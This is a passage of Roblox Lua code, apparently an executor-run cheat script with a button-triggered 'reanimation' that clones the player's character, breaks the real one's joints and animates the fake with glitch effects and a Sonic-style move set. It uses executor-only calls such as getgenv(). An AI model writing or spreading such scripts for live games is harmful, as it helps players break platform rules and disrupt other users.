RH.C1:lerp(CF.N(0,1-.5*M.C(Sine/wsVal)/2,.5*M.C(Sine/wsVal)/2)*CF.A(M.R(25-15*M.C(Sine/wsVal))+-M.S(Sine/wsVal)/2,0,0),Alpha) LH.C1 = LH.C1:lerp(CF.N(0,1+.5*M.C(Sine/wsVal)/2,-.5*M.C(Sine/wsVal)/2)*CF.A(M.R(25+15*M.C(Sine/wsVal))+M.S(Sine/wsVal)/2,0,0),Alpha) elseif(State == 'Walk')then local wsVal = 7 / (Hum.WalkSpeed/16) local Alpha = math.min(.15 * (Hum.WalkSpeed/16),1) Change = 1 RH.C1 = RH.C1:lerp(CF.N(0,1-.5*M.C(Sine/wsVal)/2,.5*M.C(Sine/wsVal)/2)*CF.A(M.R(15-5*M.C(Sine/wsVal))+-M.S(Sine/wsVal)/2,0,0),Alpha) LH.C1 = LH.C1:lerp(CF.N(0,1+.5*M.C(Sine/wsVal)/2,-.5*M.C(Sine/wsVal)/2)*CF.A(M.R(15+5*M.C(Sine/wsVal))+M.S(Sine/wsVal)/2,0,0),Alpha) else RH.C1 = RH.C1:lerp(CF.N(0,1,0),.2) LH.C1 = LH.C1:lerp(CF.N(0,1,0),.2) end mota1.C0 = mota1.C0:lerp(CF.A(0,M.RRNG(-180,180),M.R(90)),.2) Hum.WalkSpeed = WalkSpeed if(Remove_Hats)then Instance.ClearChildrenOfClass(Char,"Accessory",true) end if(Remove_Clothing)then Instance.ClearChildrenOfClass(Char,"Clothing",true) Instance.ClearChildrenOfClass(Char,"ShirtGraphic",true) end for _,v in next, NeonParts do v.Color = C3.N(M.RNG(),M.RNG(),M.RNG()) end tecks2.TextStrokeColor3 = C3.N(M.RNG(),M.RNG(),M.RNG()) if(Glitching)then Static:Resume() Music:Pause() RA.Parent = RArm LA.Parent = LArm FT.Parent = Torso RL.Parent = RLeg LL.Parent = LLeg for _,v in next, Meshes do v.Offset = V3.N(M.RNG(-15,15)/100,M.RNG(-15,15)/100,M.RNG(-15,15)/100) end tecks2.Text = Nametags[M.RNG(1,#Nametags)].."?" RLeg.Color = C3.N(M.RNG(),M.RNG(),M.RNG()) LLeg.Color = C3.N(M.RNG(),M.RNG(),M.RNG()) RArm.Color = C3.N(M.RNG(),M.RNG(),M.RNG()) LArm.Color = C3.N(M.RNG(),M.RNG(),M.RNG()) Torso.Color = C3.N(M.RNG(),M.RNG(),M.RNG()) Head.Color = C3.N(M.RNG(),M.RNG(),M.RNG()) RLeg.Material = Enum.Material.Neon LLeg.Material = Enum.Material.Neon RArm.Material = Enum.Material.Neon LArm.Material = Enum.Material.Neon Torso.Material = Enum.Material.Neon Head.Material = Enum.Material.Neon else for _,v in next, Meshes do v.Offset = V3.N(0,0,0) end Static:Stop() Music:Resume() RA.Parent = nil LA.Parent = nil FT.Parent = nil RL.Parent = nil LL.Parent = nil tecks2.Text = "Nero?" RLeg.Color = col[1] LLeg.Color = col[2] RArm.Color = col[3] LArm.Color = col[4] Head.Color = col[5] Torso.Color = col[6] RLeg.Material = Enum.Material.SmoothPlastic LLeg.Material = Enum.Material.SmoothPlastic RArm.Material = Enum.Material.SmoothPlastic LArm.Material = Enum.Material.SmoothPlastic Torso.Material = Enum.Material.SmoothPlastic Head.Material = Enum.Material.SmoothPlastic end if(NeutralAnims)then if(State == 'Idle')then local Alpha = .1 Change = 1 NK.C0 = NK.C0:lerp(NKC0*CF.N(0,0,-.2)*CF.A(M.R(-25),0,0)*CF.A(M.RRNG(-5,5),M.RRNG(-5,5),M.RRNG(-5,5)),.3) if(M.RNG(1,45) == 45)then NK.C0 = NK.C0:lerp(NKC0*CF.N(0,0,-.2)*CF.A(M.R(-25),0,0)*CF.A(M.RRNG(15,65),M.RRNG(-35,35),0),1) end if(not Glitching)then RJ.C0 = RJ.C0:lerp(RJC0*CF.N(0,-.15+.1*M.C(Sine/24),0)*CF.A(M.R(-25),0,0),Alpha) LS.C0 = LS.C0:lerp(LSC0*CF.N(0,.1*M.C(Sine/24),0)*CF.A(M.R(25),0,M.R(-5-5*M.C(Sine/24))),Alpha) RS.C0 = RS.C0:lerp(RSC0*CF.N(0,.1*M.C(Sine/24),0)*CF.A(M.R(25),0,M.R(5+5*M.C(Sine/24))),Alpha) LH.C0 = LH.C0:lerp(LHC0*CF.N(0,-.1*M.C(Sine/24),0)*CF.A(M.R(25),0,M.R(-5)),Alpha) RH.C0 = RH.C0:lerp(RHC0*CF.N(0,-.1*M.C(Sine/24),0)*CF.A(M.R(25),0,M.R(5)),Alpha) else RJ.C0 = RJ.C0:lerp(RJC0*CF.N(0,-.2+.1*M.C(Sine/24),0)*CF.A(M.R(-45),0,0),1) LS.C0 = LS.C0:lerp(LSC0*CF.N(0,.1*M.C(Sine/24),0)*CF.A(M.R(180),0,M.R(25)+M.RRNG(-10,10)),1) RS.C0 = RS.C0:lerp(RSC0*CF.N(0,.1*M.C(Sine/24),0)*CF.A(M.R(180),0,M.R(-25)+M.RRNG(-10,10)),1) LH.C0 = LH.C0:lerp(LHC0*CF.N(0,-.1*M.C(Sine/24),0)*CF.A(M.R(45),0,M.R(-5)),1) RH.C0 = RH.C0:lerp(RHC0*CF.N(0,-.1*M.C(Sine/24),0)*CF.A(M.R(45),0,M.R(5)),1) NK.C0 = NK.C0:lerp(NKC0*CF.N(0,0,-.2)*CF.A(M.R(-25),0,0)*CF.A(M.RRNG(-5,5),M.RRNG(-10,10),0),.1) end -- idle elseif(State == 'Run')then local wsVal = 16 / (Hum.WalkSpeed/16) local Alpha = math.min(.15 * (Hum.WalkSpeed/16),1) NK.C0 = NK.C0:lerp(NKC0*CF.A(M.RRNG(-5,5),M.RRNG(-5,5),M.RRNG(-5,5)),.3) if(M.RNG(1,45) == 45)then NK.C0 = NK.C0:lerp(NKC0*CF.N(0,0,0)*CF.A(M.RRNG(15,65),M.RRNG(-35,35),0),1) end RJ.C0 = RJ.C0:lerp(CF.N(0,-.075+.1*M.C(Sine/(wsVal/2)+-M.S(Sine/(wsVal/2))/7),0)*CF.A(M.R(-25-2.5*M.C(Sine/(wsVal/2))),M.R(8*M.C(Sine/wsVal)),Root.RotVelocity.y/75),Alpha) LS.C0 = LS.C0:lerp(LSC0*CF.N(0,0,-.27*M.C(Sine/wsVal))*CF.A(M.R(75*M.C(Sine/wsVal)),0,M.R(-5-7*M.S(Sine/wsVal))+LArm.RotVelocity.y/35),Alpha) RS.C0 = RS.C0:lerp(RSC0*CF.N(0,0,.27*M.C(Sine/wsVal))*CF.A(M.R(-75*M.C(Sine/wsVal)),0,M.R(5+7*M.S(Sine/wsVal))+RArm.RotVelocity.y/35),Alpha) LH.C0 = LH.C0:lerp(LHC0*CF.N(0,0-.1*M.C(Sine/(wsVal/2)),0)*CF.A(M.R(25+2.5*M.C(Sine/(wsVal/2))),0,0),Alpha) RH.C0 = RH.C0:lerp(RHC0*CF.N(0,0-.1*M.C(Sine/(wsVal/2)),0)*CF.A(M.R(25+2.5*M.C(Sine/(wsVal/2))),0,0),Alpha) elseif(State == 'Walk')then local wsVal = 7 / (Hum.WalkSpeed/16) local Alpha = math.min(.15 * (Hum.WalkSpeed/16),1) NK.C0 = NK.C0:lerp(NKC0*CF.A(0,-Head.RotVelocity.y/75,0)*CF.A(M.RRNG(-5,5),M.RRNG(-5,5),M.RRNG(-5,5)),.3) if(M.RNG(1,45) == 45)then NK.C0 = NK.C0:lerp(NKC0*CF.N(0,0,0)*CF.A(M.RRNG(15,65),M.RRNG(-35,35),0),1) end if(not Glitching)then RJ.C0 = RJ.C0:lerp(CF.N(0,-.075+.1*M.C(Sine/(wsVal/2)+-M.S(Sine/(wsVal/2))/7),0)*CF.A(M.R(-15-2.5*M.C(Sine/(wsVal/2))),M.R(4*M.C(Sine/wsVal)),Root.RotVelocity.y/75),Alpha) LS.C0 = LS.C0:lerp(LSC0*CF.N(0,0,-.27*M.C(Sine/wsVal))*CF.A(M.R(45*M.C(Sine/wsVal)),0,M.R(-5-7*M.S(Sine/wsVal))+LArm.RotVelocity.y/35),Alpha) RS.C0 = RS.C0:lerp(RSC0*CF.N(0,0,.27*M.C(Sine/wsVal))*CF.A(M.R(-45*M.C(Sine/wsVal)),0,M.R(5+7*M.S(Sine/wsVal))+RArm.RotVelocity.y/35),Alpha) LH.C0 = LH.C0:lerp(LHC0*CF.N(0,0-.1*M.C(Sine/(wsVal/2)),0)*CF.A(M.R(15+2.5*M.C(Sine/(wsVal/2))),M.R(-4*M.C(Sine/wsVal)),0),Alpha) RH.C0 = RH.C0:lerp(RHC0*CF.N(0,0-.1*M.C(Sine/(wsVal/2)),0)*CF.A(M.R(15+2.5*M.C(Sine/(wsVal/2))),M.R(-4*M.C(Sine/wsVal)),0),Alpha) else RJ.C0 = RJ.C0:lerp(RJC0*CF.N(0,-.2+.1*M.C(Sine/24),0)*CF.A(M.R(-45),0,0),1) LS.C0 = LS.C0:lerp(LSC0*CF.N(0,.1*M.C(Sine/24),0)*CF.A(M.R(180),0,M.R(25)+M.RRNG(-10,10)),1) RS.C0 = RS.C0:lerp(RSC0*CF.N(0,.1*M.C(Sine/24),0)*CF.A(M.R(180),0,M.R(-25)+M.RRNG(-10,10)),1) LH.C0 = LH.C0:lerp(LHC0*CF.N(0,-.1*M.C(Sine/24),0)*CF.A(M.R(45),0,M.R(-5)),1) RH.C0 = RH.C0:lerp(RHC0*CF.N(0,-.1*M.C(Sine/24),0)*CF.A(M.R(45),0,M.R(5)),1) NK.C0 = NK.C0:lerp(NKC0*CF.N(0,0,-.2)*CF.A(M.R(-25),0,0)*CF.A(M.RRNG(-5,5),M.RRNG(-10,10),0),.1) end elseif(State == 'Jump')then local Alpha = .1 local idk = math.min(math.max(Root.Velocity.Y/50,-M.R(90)),M.R(90)) LS.C0 = LS.C0:lerp(LSC0*CF.A(M.R(-5),0,M.R(-90)),Alpha) RS.C0 = RS.C0:lerp(RSC0*CF.A(M.R(-5),0,M.R(90)),Alpha) RJ.C0 = RJ.C0:lerp(RJC0*CF.A(math.min(math.max(Root.Velocity.Y/100,-M.R(45)),M.R(45)),0,0),Alpha) NK.C0 = NK.C0:lerp(NKC0*CF.A(math.min(math.max(Root.Velocity.Y/100,-M.R(45)),M.R(45)),0,0)*CF.A(M.RRNG(-5,5),M.RRNG(-5,5),M.RRNG(-5,5)),Alpha) if(M.RNG(1,45) == 45)then NK.C0 = NK.C0:lerp(NKC0*CF.N(0,0,0)*CF.A(M.RRNG(15,65),M.RRNG(-35,35),0),1) end LH.C0 = LH.C0:lerp(LHC0*CF.A(0,0,M.R(-5)),Alpha) RH.C0 = RH.C0:lerp(RHC0*CF.N(0,1,-1)*CF.A(M.R(-5),0,M.R(5)),Alpha) elseif(State == 'Fall')then local Alpha = .1 local idk = math.min(math.max(Root.Velocity.Y/50,-M.R(90)),M.R(90)) LS.C0 = LS.C0:lerp(LSC0*CF.A(M.R(-5),0,M.R(-90)+idk),Alpha) RS.C0 = RS.C0:lerp(RSC0*CF.A(M.R(-5),0,M.R(90)-idk),Alpha) RJ.C0 = RJ.C0:lerp(RJC0*CF.A(math.min(math.max(Root.Velocity.Y/100,-M.R(45)),M.R(45)),0,0),Alpha) NK.C0 = NK.C0:lerp(NKC0*CF.A(math.min(math.max(Root.Velocity.Y/100,-M.R(45)),M.R(45)),0,0)*CF.A(M.RRNG(-5,5),M.RRNG(-5,5),M.RRNG(-5,5)),Alpha) if(M.RNG(1,45) == 45)then NK.C0 = NK.C0:lerp(NKC0*CF.N(0,0,0)*CF.A(M.RRNG(15,65),M.RRNG(-35,35),0),1) end LH.C0 = LH.C0:lerp(LHC0*CF.A(0,0,M.R(-5)),Alpha) RH.C0 = RH.C0:lerp(RHC0*CF.N(0,1,-1)*CF.A(M.R(-5),0,M.R(5)),Alpha) elseif(State == 'Paralyzed')then -- paralyzed elseif(State == 'Sit')then local Alpha = .1 RJ.C0 = clerp(RJ.C0,CFrame.new(2.74447132e-13, 0.00628674868, -5.34626452e-07, 0.99999994, 4.36557457e-11, 0, -4.3652193e-11, 0.999980211, -0.00628619269, 9.31322575e-10, 0.00628619175, 0.999980271),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.466096163, -0.994458497, -0.733146906, 0.978622258, 0.0421638973, 0.201297805, -0.0426979661, 0.999086678, -0.0016900585, -0.201185226, -0.0069410787, 0.979528725),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.487065285, -0.997798502, -0.719440222, 0.998841465, 0.000311898883, -0.048122026, -0.000977467163, 0.999904215, -0.0138079338, 0.0481131151, 0.0138389766, 0.998746097),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.50068951, 0.376530707, -0.0506974161, 0.999878109, 0.0145290866, 0.00571295246, -9.8173201e-05, 0.371779412, -0.928321123, -0.015611616, 0.928207576, 0.371735603),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.4989773, 0.376236171, -0.0975327194, 0.999878109, 0.0145290866, 0.00571295246, -9.8173201e-05, 0.371779412, -0.928321123, -0.015611616, 0.928207576, 0.371735603),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(8.16642296e-06, 1.49894738, -0.0144014433, 0.99999994, 3.67523171e-07, -1.61118805e-07, -3.56500095e-07, 0.997964799, 0.0637688041, 1.8440187e-07, -0.063768819, 0.997964799),Alpha) end end for i,v in next, BloodPuddles do local mesh = i:FindFirstChild'CylinderMesh' BloodPuddles[i] = v + 1 if(not mesh or i.Transparency >= 1)then i:destroy() BloodPuddles[i] = nil elseif(v >= Frame_Speed*4)then local trans = (v-Frame_Speed*4)/(Frame_Speed*2) i.Transparency = trans if(mesh.Scale.Z > 0)then mesh.Scale = mesh.Scale-V3.N(.05,0,.05) end else i.Transparency = 0 end end end end)() local Connection Connection = game.Workspace.DescendantAdded:Connect(function(c) if c.Name == "Animate" and c.Parent == Player.Character then c.Enabled = false Connection:Disconnect() end end) repeat task.wait() until game.Players.LocalPlayer.Character task.wait(0.1) local RealChar = Player.Character RealChar.Archivable = true FakeCharacter.Name = Player.Name .. "_Fake" FakeCharacter.Parent = workspace task.spawn(function() for i, LS in ipairs(FakeCharacter:GetChildren()) do if LS:IsA("LocalScript") then LS.Enabled = false task.wait(0.1) LS.Enabled = false end end end) for i, Part in ipairs(FakeCharacter:GetDescendants()) do if Part:IsA("BasePart")then Part.Transparency = fake_transparency end end for i, Decal in ipairs(FakeCharacter:GetDescendants()) do if Decal:IsA("Decal")then Decal.Transparency = fake_transparency end end Player.Character = FakeCharacter local function MotorAngle() if RealChar:FindFirstChild("Torso") then for MotorName, Motor6DAngle in pairs(Motors) do if RealChar:FindFirstChild("Torso"):FindFirstChild(MotorName) then RealChar:FindFirstChild("Torso"):FindFirstChild(MotorName).CurrentAngle = Motor6DAngle end end end end local function SetAngles() if FakeCharacter:FindFirstChild("Torso") then for MotorName, Motor6DAngle in pairs(Motors) do if FakeCharacter:FindFirstChild("Torso"):FindFirstChild(MotorName) then local Motor = FakeCharacter:FindFirstChild("Torso"):FindFirstChild(MotorName) local rx, ry, rz = Motor.Part1.CFrame:ToObjectSpace(FakeCharacter:FindFirstChild("Torso").CFrame):ToOrientation() --Motors[MotorName] = rx if Motor.Name == "Right Shoulder" then Motors[MotorName] = -rx end if Motor.Name == "Left Shoulder" then Motors[MotorName] = rx end if Motor.Name == "Right Hip" then Motors[MotorName] = -rx end if Motor.Name == "Left Hip" then Motors[MotorName] = rx end if Motor.Name == "Neck" then Motors[MotorName] = -ry end end end end end local function BaseCol() for i, Part in ipairs(RealChar:GetChildren()) do if Part:IsA("BasePart")then Part.CanCollide = false end end for i, Part in ipairs(FakeCharacter:GetChildren()) do if Part:IsA("BasePart")then Part.CanCollide = false end end end RunService.Heartbeat:Connect(function() SetAngles() MotorAngle() RealChar.HumanoidRootPart.CFrame = FakeCharacter.Torso.CFrame end) RunService.PreSimulation:Connect(function() BaseCol() end) LoadAllAnimations() end) end; task.spawn(C_65); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript local function C_67() local script = G2L["67"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() -- keybins in console (f9) local fake_transparency = 0.8 local Motors = { ["Left Hip"] = 0, ["Neck"] = 0, ["Left Shoulder"] = 0, ["Right Hip"] = 0, ["Right Shoulder"] = 0 } local Players = game:GetService("Players") local Player = Players.LocalPlayer local RunService = game:GetService("RunService") game.Players.LocalPlayer.Character.Archivable = true local FakeCharacter = game.Players.LocalPlayer.Character:Clone() Player.Character:BreakJoints() Player.Character=nil coroutine.wrap(function() print("Move list") print("---------") print("Shift = Boost") print("Ctrl = Mach Speed Boost") print("Q = Left QuickStep, E = Right QuickStep") print("C = Slide, in air to stomp") print("Jump Then Hold B near a wall to wallrun") print("M to change music, if you're standing still you'll do a special animation!") print("Space near a wall to walljump, away from a wall homing attack") wait(0.07) Player=game:GetService("Players").LocalPlayer Character=FakeCharacter PlayerGui=Player.PlayerGui Backpack=Player.Backpack Torso=Character.Torso Head=Character.Head Humanoid=Character.Humanoid LeftArm=Character["Left Arm"] LeftLeg=Character["Left Leg"] RightArm=Character["Right Arm"] RightLeg=Character["Right Leg"] LS=Torso["Left Shoulder"] LH=Torso["Left Hip"] RS=Torso["Right Shoulder"] RH=Torso["Right Hip"] Face = Head.face Neck=Torso.Neck it=Instance.new attacktype=1 attacktype2=1 vt=Vector3.new cf=CFrame.new cn=CFrame.new euler=CFrame.fromEulerAnglesXYZ angles=CFrame.Angles combo = 0 necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) getgenv().LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0) LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0) getgenv().RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0) RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0) RootPart=Character.HumanoidRootPart RootJoint=RootPart.RootJoint RootCF=euler(-1.57,0,3.14) attack = false attackdebounce = false trispeed=.2 attackmode='none' local idle=0 local Anim="Idle" stance = false local ff = 2 noleg = false evadecooldown = false equip = false local Effects = {} attackspeed = 0.14 df = false Swing = 1 local sine = 0 local change = 1 local val = 0 local speed = 0 local rs = game:GetService("RunService").RenderStepped cam = workspace.CurrentCamera deb = game:GetService("Debris") Face.Transparency = 0 --Face.Texture = "rbxassetid://176217905" --176217905 Humanoid.WalkSpeed = 64 local freefall = 0 local headsunsound = RootPart:FindFirstChild("Running") or Instance.new("Sound",RootPart) headsunsound.SoundId = "rbxassetid://758199523" headsunsound.Volume = 2 local boost = false Humanoid.JumpPower = 88 local musicnum = 1 local spd = Vector3.new(RootPart.Velocity.x,0,RootPart.Velocity.z).magnitude + 10 local dir = Vector3.new(RootPart.Velocity.x,0,RootPart.Velocity.z).unit local GravPoint = RootPart.Velocity.y local NV = Vector3.new(0,0,0) music = Instance.new("Sound",RootPart) music.Volume = 1 music.TimePosition = 0 music.Pitch = 1 music.SoundId = "rbxassetid://1251555494" music.Looped = true music:Play() boostsound = Instance.new("Sound",RootPart) boostsound.Volume = .6 boostsound.TimePosition = 0 boostsound.Pitch = 1 boostsound.SoundId = "rbxassetid://924922553" boostsound.Looped = false stompsound = Instance.new("Sound",RootPart) stompsound.Volume = 2 stompsound.TimePosition = 0 stompsound.Pitch = 1 stompsound.SoundId = "rbxassetid://1295424184" stompsound.Looped = false so = function(id,par,vol,pit) coroutine.resume(coroutine.create(function() local sou = Instance.new("Sound",par or workspace) sou.Volume=vol sou.Pitch=pit or 1 sou.SoundId=id sou:play() game:GetService("Debris"):AddItem(sou,8) end)) end --save shoulders RSH, LSH=nil, nil --welds RW, LW=Instance.new("Weld"), Instance.new("Weld") RW.Name="Right Shoulder" LW.Name="Left Shoulder" LH=Torso["Left Hip"] RH=Torso["Right Hip"] TorsoColor=Torso.BrickColor function NoOutline(Part) Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10 end player=Player ch=Character RSH=ch.Torso["Right Shoulder"] LSH=ch.Torso["Left Shoulder"] -- RSH.Parent=nil LSH.Parent=nil -- RW.Name="Right Shoulder" RW.Part0=ch.Torso RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) RW.C1=cf(0, 0.5, 0) RW.Part1=ch["Right Arm"] RW.Parent=ch.Torso -- LW.Name="Left Shoulder" LW.Part0=ch.Torso LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) LW.C1=cf(0, 0.5, 0) LW.Part1=ch["Left Arm"] LW.Parent=ch.Torso newWeld = function(wp0, wp1, wc0x, wc0y, wc0z) local wld = Instance.new("Weld", wp1) wld.Part0 = wp0 wld.Part1 = wp1 wld.C0 = CFrame.new(wc0x, wc0y, wc0z) end local rs = game:GetService("RunService").RenderStepped newWeld(RootPart, Torso, 0, -1, 0) Torso.Weld.C1 = CFrame.new(0, -1, 0) newWeld(Torso, LeftLeg, -0.5, -1, 0) LeftLeg.Weld.C1 = CFrame.new(0, 1, 0) newWeld(Torso, RightLeg, 0.5, -1, 0) RightLeg.Weld.C1 = CFrame.new(0, 1, 0) Player=game:GetService('Players').LocalPlayer Character=FakeCharacter mouse=Player:GetMouse() m=Instance.new('Model',Character) local function weldBetween(a, b) local weldd = Instance.new("ManualWeld") weldd.Part0 = a weldd.Part1 = b weldd.C0 = CFrame.new() weldd.C1 = b.CFrame:inverse() * a.CFrame weldd.Parent = a return weldd end ArtificialHB = Instance.new("BindableEvent", script) ArtificialHB.Name = "Heartbeat" script:WaitForChild("Heartbeat") frame = 1 / 80 tf = 0 allowframeloss = false tossremainder = false lastframe = tick() script.Heartbeat:Fire() game:GetService("RunService").Heartbeat:connect(function(s, p) tf = tf + s if tf >= frame then if allowframeloss then script.Heartbeat:Fire() lastframe = tick() else for i = 1, math.floor(tf / frame) do script.Heartbeat:Fire() end lastframe = tick() end if tossremainder then tf = 0 else tf = tf - frame * math.floor(tf / frame) end end end) --[[] function swait(num) if num == 0 or num == nil then ArtificialHB.Event:wait() else for i = 0, num do ArtificialHB.Event:wait() end end end ]] function swait(num) if num == 0 or num == nil then game:service("RunService").Stepped:wait() else for i = 0, num do game:service("RunService").Stepped:wait() end end end function RemoveOutlines(part) part.TopSurface, part.BottomSurface, part.LeftSurface, part.RightSurface, part.FrontSurface, part.BackSurface = 10, 10, 10, 10, 10, 10 end part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size) local fp = it("Part") fp.formFactor = formfactor fp.Parent = parent fp.Reflectance = reflectance fp.Transparency = transparency fp.CanCollide = false fp.Locked = true fp.BrickColor = brickcolor fp.Name = name fp.Size = size fp.Position = Torso.Position NoOutline(fp) if fp.BrickColor == BrickColor.new("Dark indigo") then fp.Material = "Neon" else if fp.BrickColor == BrickColor.new("Really black") then fp.BrickColor = BrickColor.new("Really black") fp.Material = "Metal" else fp.Material = "Neon" end end fp:BreakJoints() return fp end mesh = function(Mesh, part, meshtype, meshid, offset, scale) local mesh = it(Mesh) mesh.Parent = part if Mesh == "SpecialMesh" then mesh.MeshType = meshtype mesh.MeshId = meshid end mesh.Offset = offset mesh.Scale = scale return mesh end weld = function(parent, part0, part1, c0) local weld = it("Weld") weld.Parent = parent weld.Part0 = part0 weld.Part1 = part1 weld.C0 = c0 return weld end F1 = Instance.new("Folder", Character) F1.Name = "Effects Folder" F2 = Instance.new("Folder", F1) F2.Name = "Effects" Triangle = function(a, b, c) end MagicBlock = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = part(3, F2, 0, 0, brickcolor, "Effect", vt()) prt.Anchored = true prt.CanCollide = false prt.CFrame = cframe prt.Name = "prt" msh = mesh("BlockMesh", prt, "", "", vt(0, 0, 0), vt(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 5) table.insert(Effects, {prt, "Block1", delay, x3, y3, z3}) end MagicCircle = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = part(3, F2, 0, 0, brickcolor, "Effect", vt()) prt.Anchored = true prt.CanCollide = false prt.CFrame = cframe prt.Name = "prt" local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 5) table.insert(Effects, {prt, "Cylinder", delay, x3, y3, z3}) end MagicWave = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = part(3, F2, 0, 0, brickcolor, "Effect", vt()) prt.Anchored = true prt.CFrame = cframe local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 5) table.insert(Effects, {prt, "Cylinder", delay, x3, y3, z3}) end MagicCylinder = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = part(3, F2, 0, 0, brickcolor, "Effect", vt(0.2, 0.2, 0.2)) prt.Anchored = true prt.CFrame = cframe msh = mesh("SpecialMesh", prt, "Head", "", vt(0, 0, 0), vt(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 5) Effects[#Effects + 1] = {prt, "Cylinder", delay, x3, y3, z3} end MagicCylinder2 = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = part(3, F2, 0, 0, brickcolor, "Effect", vt(0.2, 0.2, 0.2)) prt.Anchored = true prt.CFrame = cframe msh = mesh("CylinderMesh", prt, "", "", vt(0, 0, 0), vt(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 5) Effects[#Effects + 1] = {prt, "Cylinder", delay, x3, y3, z3} end MagicBlood = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = part(3, F2, 0, 0, brickcolor, "Effect", vt()) prt.Anchored = true prt.CFrame = cframe local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 5) table.insert(Effects, {prt, "Blood", delay, x3, y3, z3}) end ElecEffect = function(cff, x, y, z) local prt = part(3, F2, 0, 0, BrickColor.new("Dark indigo"), "Part", vt(1, 1, 1)) prt.Anchored = true prt.CFrame = cff * cf(math.random(-x, x), math.random(-y, y), math.random(-z, z)) prt.CFrame = cf(prt.Position) game:GetService("Debris"):AddItem(prt, 2) xval = math.random() / 2 yval = math.random() / 2 zval = math.random() / 2 msh = mesh("BlockMesh", prt, "", "", vt(0, 0, 0), vt(xval, yval, zval)) Effects[#Effects + 1] = {prt, "Elec", 0.1, x, y, z, xval, yval, zval} end function FindNearestTorso(Position, Distance, SinglePlayer) if SinglePlayer then return (SinglePlayer.Torso.CFrame.p - Position).magnitude < Distance end local List = {} for i, v in pairs(workspace:GetChildren()) do if v:IsA("Model") then if v:findFirstChild("Torso") then if v ~= Character then if (v.Torso.Position - Position).magnitude <= Distance then table.insert(List, v) end end end end end return List end function CreatePart(Parent, Material, Reflectance, Transparency, BColor, Name, Size) local Part = Create("Part"){ Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material, } RemoveOutlines(Part) return Part end function CreateMesh(Mesh, Part, MeshType, MeshId, OffSet, Scale) local Msh = Create(Mesh){ Parent = Part, Offset = OffSet, Scale = Scale, } if Mesh == "SpecialMesh" then Msh.MeshType = MeshType Msh.MeshId = MeshId end return Msh end function BlockEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay, Type) local prt = CreatePart(workspace, "Neon", 0, 0, brickcolor, "Effect", Vector3.new()) prt.Anchored = true prt.CFrame = cframe local msh = CreateMesh("BlockMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 10) if Type == 1 or Type == nil then table.insert(Effects, { prt, "Block1", delay, x3, y3, z3, msh }) elseif Type == 2 then table.insert(Effects, { prt, "Block2", delay, x3, y3, z3, msh }) end end function SphereEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = CreatePart(workspace, "Neon", 0, 0, brickcolor, "Effect", Vector3.new()) prt.Anchored = true prt.CFrame = cframe local msh = CreateMesh("SpecialMesh", prt, "Sphere", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 10) table.insert(Effects, { prt, "Cylinder", delay, x3, y3, z3, msh }) end function RingEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay,material) local prt=CreatePart(workspace,material,0,0,brickcolor,"Effect",vt(.5,.5,.5))--part(3,workspace,"SmoothPlastic",0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) prt.Anchored=true prt.CFrame=cframe msh=CreateMesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1)) game:GetService("Debris"):AddItem(prt,2) coroutine.resume(coroutine.create(function(Part,Mesh,num) for i=0,1,delay do swait() Part.Transparency=i Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) end Part.Parent=nil end),prt,msh,(math.random(0,1)+math.random())/5) end function CylinderEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = CreatePart(workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new()) prt.Anchored = true prt.CFrame = cframe local msh = CreateMesh("CylinderMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 10) table.insert(Effects, { prt, "Cylinder", delay, x3, y3, z3, msh }) end function 